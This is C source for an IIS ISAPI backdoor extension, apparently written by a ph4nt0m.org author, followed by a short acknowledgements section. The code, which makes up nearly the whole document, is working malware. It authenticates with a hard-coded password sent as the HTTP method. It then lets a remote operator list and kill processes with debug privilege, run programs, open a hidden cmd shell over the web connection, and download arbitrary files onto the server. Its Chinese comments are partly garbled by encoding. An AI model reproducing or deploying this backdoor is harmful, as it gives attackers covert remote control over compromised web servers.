#define LOGPATH "c:\\ISAPI_LOG.txt"
//后門密碼
#define PASSWORD "Icy"
//標(biāo)識符
#define FLAG "Icy>"
//緩沖區(qū)大小
#define BUFFSIZE 1024 * 4
#define ARGSIZE 1024
typedef struct workArg
{
EXTENSION_CONTROL_BLOCK *pECB;
char arg[ARGSIZE];
}WORKARG;
//定義函數(shù)原形
BOOL StartWith( char * , char * ); //判斷第一個字符串是否以第二個字符串開頭
void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根據(jù)輸入的命令來選擇執(zhí)行的功能
void PsList( EXTENSION_CONTROL_BLOCK * ); //列舉進(jìn)程
void Kill( LPVOID ); //殺進(jìn)程
void Shell( LPVOID ); //獲取一個shell
void ExecProgram( LPVOID ); //運(yùn)行一個程序
void Help( EXTENSION_CONTROL_BLOCK * ); //輸出幫助
void DownLoad( LPVOID ); //下載文件
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //發(fā)送數(shù)據(jù)到客戶端
void LogStrToFile( char * ); //記錄字符錯誤信息到日志
void LogIntToFile( int ); //記錄整數(shù)信息到日志
//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );
return TRUE;
}
BOOL WINAPI TerminateExtension( DWORD dwFlags )
{
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = { 0 };
char *err = "Error...\n";
char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";
DWORD dwBytes = 64;
//獲取客戶端密碼，連接到web服務(wù)器，發(fā)送請求,請求方式為密碼
pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );
if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
{
SendToClient( pECB , err );
return HSE_STATUS_SUCCESS;
}
#ifdef DEBUG
LogStrToFile( "-------------------------------\n" );
LogStrToFile( "客戶端成功登陸\n" );
#endif
SendToClient( pECB , helo );
SendToClient( pECB , FLAG );
while(TRUE)
{
ZeroMemory( buff , BUFFSIZE );
dwBytes = BUFFSIZE;
while( buff[0] == ’\0’ )//判斷是否是空串
{
Sleep(1000);
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye...\n" );
break;
}
SwitchCmd( pECB , buff );
}
return HSE_STATUS_SUCCESS;
}
void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
WORKARG workArg;
HANDLE hThread = NULL;
DWORD threadID = 0;
//SendToClient( pECB , "客戶端命令: " );
//SendToClient( pECB , buff );
#ifdef DEBUG
LogStrToFile( "客戶端命令: " );
LogStrToFile( buff );
#endif
//去掉命令里面的回車符
*(strchr( buff , ’\n’ )) = ’\0’;
//參數(shù)不能超過ARGSIZE
if( strlen( buff+5 ) >= ARGSIZE )
{
SendToClient( pECB , "Arguments is too long...\n" );
SendToClient( pECB , FLAG );
return;
}
//將要傳遞給新線程的參數(shù)清空
ZeroMemory( workArg.arg , sizeof(workArg.arg) );
//如果是pslist命令，列舉進(jìn)程
if( StartWith(buff , "pslist") )
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)PsList ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程列舉進(jìn)程失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "List process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 6000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//kill命令，殺進(jìn)程
else if( StartWith(buff , "kill") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:kill pid\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Kill ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程殺進(jìn)程失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Kill process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//shell命令，運(yùn)行一個cmd獲取shell，為防止主機(jī)設(shè)置權(quán)限，需指明cmd路徑
else if( StartWith(buff , "shell") )
{
//如果沒有參數(shù)
if( *( buff+6 ) == ’\0’ )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+6 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Shell ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程執(zhí)行shell失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Get shell error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
return;
}
else if( StartWith(buff , "exec") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)ExecProgram ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程運(yùn)行程序失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Execute program error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 10000 );
CloseHandle( hThread );
return;
}
//down命令，利用http協(xié)議下載文件
else if( StartWith(buff , "down") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)DownLoad ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程下載文件失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Download file error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//命令不正確，輸出幫助
else
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Help ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程輸出幫助信息失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Print help error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
}
//判斷字符串buf1是否以buf2開頭，是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len) == 0)
{
return TRUE;
}
return FALSE;
}
//運(yùn)行shell
void Shell( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
int index = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == ’\0’ )
{
#ifdef DEBUG
LogStrToFile( "執(zhí)行shell時，沒有要輸入要運(yùn)行的shell路徑\n" );
#endif
SendToClient( pECB , "No shell to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要運(yùn)行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全選項(xiàng)
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立進(jìn)程失敗...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
while(1)
{
memset( buff , 0 , BUFFSIZE );
ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );
//嘗試5次讀取管道，防止延遲發(fā)生錯誤
for( index = 0; index < 5 && dwBytes == 0; index ++ )
{
Sleep(100);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//獲取輸出信息，輸出到客戶端
if(dwBytes)
{
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "讀取輸出失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "發(fā)送輸出失敗:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
//從客戶端獲取命令
else
{
//客戶端無輸入則循環(huán)讀取
while( buff[0] == ’\0’ )
{
Sleep(100);
dwBytes = BUFFSIZE;
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
#ifdef DEBUG
LogStrToFile( "讀到客戶命令了，內(nèi)容是: " );
LogStrToFile( buff );
#endif
//如果是exit命令，退出連接
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye~!\n" );
break;
}
ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "把命令發(fā)送到shell失敗\n" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
//運(yùn)行一個程序
void ExecProgram( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1 = NULL;
HANDLE hWritePipe1 = NULL;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == ’\0’ )
{
#ifdef DEBUG
LogStrToFile( "執(zhí)行程序時，沒有要輸入要運(yùn)行的程序\n" );
#endif
SendToClient( pECB , "No program to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要運(yùn)行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全選項(xiàng)
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立進(jìn)程失敗...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
memset( buff , 0 , BUFFSIZE );
//讀取程序輸出
while( dwBytes == 0 )
{
Sleep(200);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "讀取輸出失敗: " );
&n, bsp; LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "發(fā)送輸出失敗:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
CloseHandle(hReadPipe1);
CloseHandle(hWritePipe1);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
void PsList( EXTENSION_CONTROL_BLOCK *pECB )
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
char psBuff[BUFFSIZE] = { 0 };
SendToClient( pECB , "Process Information List 0.1\n\n" );
/*
SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
*/
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
#ifdef DEBUG
LogStrToFile( "Call CreateToolhelp32Snapshot error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
return;
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
#ifdef DEBUG
LogStrToFile( "Call Process32First error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
SendToClient( pECB , FLAG );
CloseHandle( hProcessSnap );
return;
}
SendToClient( pECB , "PID\t\tProcessName\n" );
do
{
ZeroMemory( psBuff , sizeof(psBuff) );
sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );
SendToClient( pECB , psBuff );
}
while( Process32Next( hProcessSnap, &pe32 ) );
return;
}
void Kill( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
HANDLE hProcess = NULL;
DWORD pID;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
pID = atoi( workArg->arg );
if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcessToken error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
#ifdef DEBUG
LogStrToFile( "Call LookupPrivilegeValue error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );
CloseHandle( hToken );
hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
{
#ifdef DEBUG
LogStrToFile( "Call TerminateProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
SendToClient( pECB , "killed ok\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
void DownLoad( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
char fileName[64] = { 0 };//保存的文件名
char fullPath[256] = { 0 };//保存的完整地址
char url[ARGSIZE] = { 0 };//下載的URL
char seps[] = "/";//分割字符
char *token;
int ret = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;
strcpy( url , workArg->arg );
token = strtok( url , seps );
while( token != NULL )
{
strcpy( fileName , token );
token = strtok( NULL , seps );
}
strcpy( url , workArg->arg );
GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
strcat( fullPath , "\\" );
strcat( fullPath , fileName );
SendToClient( pECB , "Download " );
SendToClient( pECB , url );
SendToClient( pECB , "\nThe file saved to " );
SendToClient( pECB , fullPath );
ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
if( ret == S_OK )
{
SendToClient( pECB , "\nDownLoad ok\n" );
return;
}
#ifdef DEBUG
LogStrToFile( "Call URLDownloadToFile error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "DownLoad file error...\n" );
return;
}
void Help( EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = "\nNow,Support these command:\n";
strcat( buff , "pslist--------------List Process Information\n" );
strcat( buff , "kill PID------------Kill The Process\n" );
strcat( buff , "exec Program--------Run A Program\n" );
strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
strcat( buff , "down URL------------DownLoad A File\n" );
strcat( buff , "exit----------------Exit\n" );
SendToClient( pECB , buff );
return;
}
void LogStrToFile( char *buff )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fputs( buff , fp );
fclose( fp );
}
void LogIntToFile( int num )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fprintf( fp , "%d" , num );
fclose( fp );
}
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
DWORD dwByte = strlen(buff);
return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}
四.感謝與參考
1.在獲取shell的時候格式很難看，envymask告訴我是網(wǎng)絡(luò)延遲的原因，得以解決，感謝！
2.參考《綠盟安全月刊》第37期的技術(shù)專題里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址為http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.參考MSDN函數(shù)庫
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)
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